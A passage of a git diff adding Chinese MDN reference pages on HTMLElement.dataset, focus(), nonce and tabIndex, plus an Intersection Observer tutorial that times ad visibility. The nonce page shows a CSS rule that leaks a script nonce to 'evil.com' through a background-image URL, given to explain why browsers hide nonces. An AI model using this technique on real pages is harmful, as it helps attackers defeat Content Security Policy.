HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射,每个自定义数据属性的一个条目。

+ +

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

+ +

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

+ + + +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

+ + + +

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

+ + + +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ + + +

Tab键的遍历顺序是这样的:

+ +
    +
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. +
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. +
  5. 处于不可用状态的元素不会被遍历到。
  6. +
+ +

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

+ +

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/index/index.html b/files/zh-cn/web/api/index/index.html new file mode 100644 index 0000000000..9993a0a959 --- /dev/null +++ b/files/zh-cn/web/api/index/index.html @@ -0,0 +1,6 @@ +--- +title: 指数 +slug: Web/API/指数 +translation_of: Web/API/Index +--- +

{{Index("/zh-CN/docs/Web/API")}}

diff --git a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html new file mode 100644 index 0000000000..24446a0141 --- /dev/null +++ b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -0,0 +1,562 @@ +--- +title: Timing element visibility with the Intersection Observer API +slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +--- +
{{APIRef("Intersection Observer API")}}
+ +
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
+ +
 
+ +

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

+ +

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

+ +

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

+ +

Let's get started!

+ +
+

Site structure: The HTML

+ +

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

+ +
<div class="wrapper">
+  <header>
+    <h1>A Fake Blog</h1>
+    <h2>Showing Intersection Observer in action!</h2>
+  </header>
+
+  <aside>
+    <nav>
+      <ul>
+        <li><a href="#link1">A link</a></li>
+        <li><a href="#link2">Another link</a></li>
+        <li><a href="#link3">One more link</a></li>
+      </ul>
+    </nav>
+  </aside>
+
+  <main>
+  </main>
+</div>
+ +

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

+ +

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

+ +

Styling the site with CSS

+ +

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

+ +

The basics

+ +

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

+ +
body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}
+ +

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

+ +

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

+ +

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

+ +

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

+ +

The header

+ +

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

+ +
header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}
+ +

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

+ +

The sidebar

+ +

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

+ +
aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}
+ +

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

+ +

The content body

+ +

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

+ +
main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}
+ +

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

+ +

Articles

+ +

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

+ +
article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}
+ +

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

+ +

Ads

+ +

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

+ +
.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+ +

There's nothing magic in here. It's fairly basic CSS.

+ +

Tying it together with JavaScript

+ +

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

+ +
let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;
+ +

These are used as follows:

+ +
+
contentBox
+
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
+
nextArticleID
+
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
+
visibleAds
+
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
+
previouslyVisibleAds
+
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
+
adObserver
+
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
+
refreshIntervalID
+
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
+
+ +

Setting up

+ +

To set things up, we run the startup() function below when the page loads:

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}
+ +

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

+ +

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

+ +

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

+ +

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

+ +

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

+ +

Handling document visibility changes

+ +

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

+ +
function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}
+ +

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

+ +

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

+ +

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

+ +

Handling intersection changes

+ +

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

+ +
function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio >= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}
+ +

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

+ +

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

+ +

Handling periodic actions

+ +

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

+ +
function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}
+ +

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

+ +

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

+ +

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

+ +

Updating an ad's visibility timer

+ +

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

+ +
function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}
+ +

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

+ +
+
lastViewStarted
+
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
+
totalViewTime
+
The total number of milliseconds the ad has been visible.
+
+ +

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

+ +

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

+ +

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

+ +

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

+ +

Drawing an ad's timer

+ +

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

+ +
function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}
+ +

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

+ +

Building the page contents

+ +

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

+ +
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.</p>";
+
+function buildContents() {
+  for (let i=0; i<5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+
+ +

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

+ +

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

+ +

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

+ +

Creating an article

+ +

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

+ +
function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}
+ +

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

+ +

Creating an ad

+ +

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

+ +
function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}
+ +

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

+ +

Then we define several variables:

+ +
+
adBox
+
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
+
title
+
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
+
body
+
Will hold the {{HTMLElement("p")}} representing the ad's body text.
+
timerElem
+
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
+
+ +

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

+ +

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

+ +

